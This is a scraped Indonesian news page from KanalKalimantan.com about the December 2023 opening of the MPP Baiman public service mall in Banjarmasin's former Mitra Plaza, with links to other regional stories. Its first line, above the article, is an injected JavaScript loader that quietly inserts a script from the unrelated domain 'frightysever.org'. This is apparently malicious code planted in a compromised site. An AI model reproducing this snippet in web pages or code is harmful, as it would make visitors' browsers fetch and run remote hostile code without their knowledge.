(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Eks Mitra Plaza Banjarmasin Resmi Jadi MPP Baiman, Ada 150 Perizinan dari 17 Instansi


KANALKALIMANTAN.COM, BANJARMASIN – Gedung Mitra Plaza Banjarmasin kini berubah fungsi. Jika dulunya bangunan pusat perbelanjaan modern pertama dan terkenal di Kalimantan Selatan, kini berubah fungsi menjadi pusat pelayanan publik.

Ya, bangunan yang terletak di Kelurahan Pekapuran Laut, Kecamatan Banjarmasin Tengah, tepatnya di Jalan Pangeran Antasari disulap menjadi Mal Pelayanan Publik (MPP) Baiman, Kota Banjarmasin.
MPP Baiman diresmikan langsung oleh Wali Kota Banjarmasin Ibnu Sina, Kamis (7/12/2023) siang.

MPP Baiman terletak di lantai dasar eks pusat perbelanjaan Mitra Plaza yang sudah direnovasi. Sedangkan pintu masuk berada di bagian belakang bangunan yang menjadi saksi bisu peristiwa ‘Jumat Kelabu’ itu.

Baca juga: 30 Atlet dan 9 Pelatih Popda Terima Bonus dari Pj Bupati HSU

Sedikitnya ada 17 instansi yang bergabung dan membuka pelayanan di sana, diantaranya Disdukcapil Banjarmasin, DPMPTSP Banjarmasin, Dinas PUPR Banjarmasin, Pengadilan Agama Banjarmasin, Polresta Banjarmasin, Kantor Kemenag Banjarmasin, Kejaksaan Negeri Banjarmasin, BPKAD Banjarmasin, Kantor Pertanahan Banjarmasin, dan Diskopumker Banjarmasin.

PTAM Banjarmasin, KPP Pratama Banjarmasin, BPJS Ketenagakerjaan, BPJS Kesehatan, Bank Kalsel, Layanan Mandiri OSS, dan Badan Pendapatan Daerah Provinsi Kalsel.
“Ada 150 perizinan di sini, dari 17 instansi yang bergabung,” kata Ibnu Sina usai peresmian, Kamis (7/12/2023) siang.

Baca juga: Kelompok Remaja Nakal Karena Siskamling Lemah, Poskamling Harus Dihidupkan

Menurut Ibnu Sina, keberadaan MPP Baiman Kota Banjarmasin, masyarakat tidak perlu lagi datang ke kantor setiap instansi untuk mendapatkan pelayanan, hanya perlu datang ke MPP Baiman.
“Dengan 17 instansi ini kita sudah sangat memberikan kemudahan kepada warga yang ingin berurusan,” ujar Ibnu Sina.

Kemudahan lainnya yang didapatkan masyarakat kata Ibnu Sina, layanan di MPP Baiman sudah terintegrasi dengan jaringan aplikasi yang ada di masing-masing instansi. Hal itu menurutnya akan membuat pelayanan menjadi semakin cepat. “Kalau bisa dipercepat gak akan diperlambat, saya kira itu prinsipnya,” tandasnya.

Baca juga: Evakuasi Pohon Tumbang di A Yani Km 40 Martapura di Bawah Guyuran Hujan

Peresmian MPP Baiman Kota Banjarmasin otomatis menambah daftar pusat pelayanan publik di Kalsel dari yang sebelumnya sudah ada MPP Banjarbaru, MPP Banjar, MPP Tabalong, MPP Barito Kuala, MPP Hulu Sungai Selatan, dan MPP Tanah Laut. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

8 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

9 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

10 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

16 jam ago

This website uses cookies.